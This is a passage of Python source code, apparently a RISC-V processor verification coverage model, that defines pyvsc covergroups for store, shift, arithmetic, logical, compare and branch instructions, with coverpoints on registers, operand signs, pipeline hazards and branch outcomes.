super().__init__(instr) # # self.cp_misalign = vsc.coverpoint( # lambda: instr.unaligned_mem_access, # bins={ # "aligned" : vsc.bin(0), # "unaligned": vsc.bin(1) # }) @vsc.covergroup class sw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( store_lsu_hazard_e)) self.cp_misalign = vsc.coverpoint( lambda: self.instr.unaligned_mem_access, bins={ "aligned" : vsc.bin(0), "unaligned": vsc.bin(1) }) '''Shift instructions''' # @vsc.covergroup # class sll_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class sll_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) @vsc.covergroup class slli_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) # @vsc.covergroup # class srl_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class srl_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) @vsc.covergroup class srli_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) # @vsc.covergroup # class sra_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class sra_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) @vsc.covergroup class srai_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) '''Arithmetic instructions''' # @vsc.covergroup # class add_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, # self.cp_rd_sign]) @vsc.covergroup class add_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class addi_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_imm_sign, self.cp_rd_sign]) # @vsc.covergroup # class sub_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, # self.cp_rd_sign]) @vsc.covergroup class sub_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) # @vsc.covergroup # class lui_cg(u_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class lui_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) # @vsc.covergroup # class auipc_cg(u_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class auipc_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) '''Logical instructions''' # @vsc.covergroup # class xor_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_logical = vsc.coverpoint(lambda: instr.logical_similarity, # cp_t=vsc.enum_t( # logical_similarity_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class xor_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_logical = vsc.coverpoint(lambda: self.instr.logical_similarity, cp_t=vsc.enum_t( logical_similarity_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) # @vsc.covergroup # class xori_cg(i_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_logical = vsc.coverpoint(lambda: instr.logical_similarity, # cp_t=vsc.enum_t( # logical_similarity_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_imm_sign]) @vsc.covergroup class xori_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_logical = vsc.coverpoint(lambda: self.instr.logical_similarity, cp_t=vsc.enum_t( logical_similarity_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_imm_sign]) # @vsc.covergroup # class or_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_logical = vsc.coverpoint(lambda: instr.logical_similarity, # cp_t=vsc.enum_t( # logical_similarity_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class or_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_logical = vsc.coverpoint(lambda: self.instr.logical_similarity, cp_t=vsc.enum_t( logical_similarity_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) # @vsc.covergroup # class ori_cg(i_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_logical = vsc.coverpoint(lambda: instr.logical_similarity, # cp_t=vsc.enum_t( # logical_similarity_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_imm_sign]) @vsc.covergroup class ori_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_logical = vsc.coverpoint(lambda: self.instr.logical_similarity, cp_t=vsc.enum_t( logical_similarity_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_imm_sign]) # @vsc.covergroup # class and_cg(r_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_logical = vsc.coverpoint(lambda: instr.logical_similarity, # cp_t=vsc.enum_t( # logical_similarity_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class and_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_logical = vsc.coverpoint(lambda: self.instr.logical_similarity, cp_t=vsc.enum_t( logical_similarity_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) # @vsc.covergroup # class andi_cg(i_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_logical = vsc.coverpoint(lambda: instr.logical_similarity, # cp_t=vsc.enum_t( # logical_similarity_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_imm_sign]) @vsc.covergroup class andi_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_logical = vsc.coverpoint(lambda: self.instr.logical_similarity, cp_t=vsc.enum_t( logical_similarity_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_imm_sign]) '''Compare instructions''' # @vsc.covergroup # class slt_cg(cmp_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_rs2 = vsc.coverpoint(lambda: instr.rs2, # cp_t=vsc.enum_t(riscv_reg_t)) # self.cp_rs2_sign = vsc.coverpoint(lambda: instr.rs2_sign, # cp_t=vsc.enum_t(operand_sign_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class slt_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_result = vsc.coverpoint(lambda: self.instr.rd_value[0], bins={ "Unset": vsc.bin(0), "Set" : vsc.bin(1) } ) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) # @vsc.covergroup # class slti_cg(cmp_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_imm_sign = vsc.coverpoint(lambda: instr.imm_sign, # cp_t=vsc.enum_t(operand_sign_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_imm_sign]) @vsc.covergroup class slti_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_result = vsc.coverpoint(lambda: self.instr.rd_value[0], bins={ "Unset": vsc.bin(0), "Set" : vsc.bin(1) } ) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_imm_sign]) # @vsc.covergroup # class sltu_cg(cmp_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_rs2 = vsc.coverpoint(lambda: instr.rs2, # cp_t=vsc.enum_t(riscv_reg_t)) # self.cp_rs2_sign = vsc.coverpoint(lambda: instr.rs2_sign, # cp_t=vsc.enum_t(operand_sign_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_rs2_sign]) @vsc.covergroup class sltu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_result = vsc.coverpoint(lambda: self.instr.rd_value[0], bins={ "Unset": vsc.bin(0), "Set" : vsc.bin(1) } ) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) # @vsc.covergroup # class sltiu_cg(cmp_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_imm_sign = vsc.coverpoint(lambda: instr.imm_sign, # cp_t=vsc.enum_t(operand_sign_e)) # self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, # self.cp_imm_sign]) @vsc.covergroup class sltiu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_result = vsc.coverpoint(lambda: self.instr.rd_value[0], bins={ "Unset": vsc.bin(0), "Set" : vsc.bin(1) } ) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_imm_sign]) '''Branch instructions''' # @vsc.covergroup # class beq_cg(sb_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class beq_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_branch_hit = vsc.coverpoint(lambda: self.instr.branch_hit, bins={ "Non-taken": vsc.bin(0), "Taken" : vsc.bin(1), } ) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) # @vsc.covergroup # class bne_cg(sb_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class bne_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_branch_hit = vsc.coverpoint(lambda: self.instr.branch_hit, bins={ "Taken" : vsc.bin(1), "Non-taken": vsc.bin(0) } ) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) # @vsc.covergroup # class blt_cg(sb_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class blt_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_branch_hit = vsc.coverpoint(lambda: self.instr.branch_hit, bins={ "Taken" : vsc.bin(1), "Non-taken": vsc.bin(0) } ) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) # @vsc.covergroup # class bge_cg(sb_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class bge_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_branch_hit = vsc.coverpoint(lambda: self.instr.branch_hit, bins={ "Taken" : vsc.bin(1), "Non-taken": vsc.bin(0) } ) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) # @vsc.covergroup # class bltu_cg(sb_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class bltu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_branch_hit = vsc.coverpoint(lambda: self.instr.branch_hit, bins={ "Taken" : vsc.bin(1), "Non-taken": vsc.bin(0) } ) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) # @vsc.covergroup # class bgeu_cg(sb_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class bgeu_cg(object): def __init__(self): super().__init__() self.instr = None 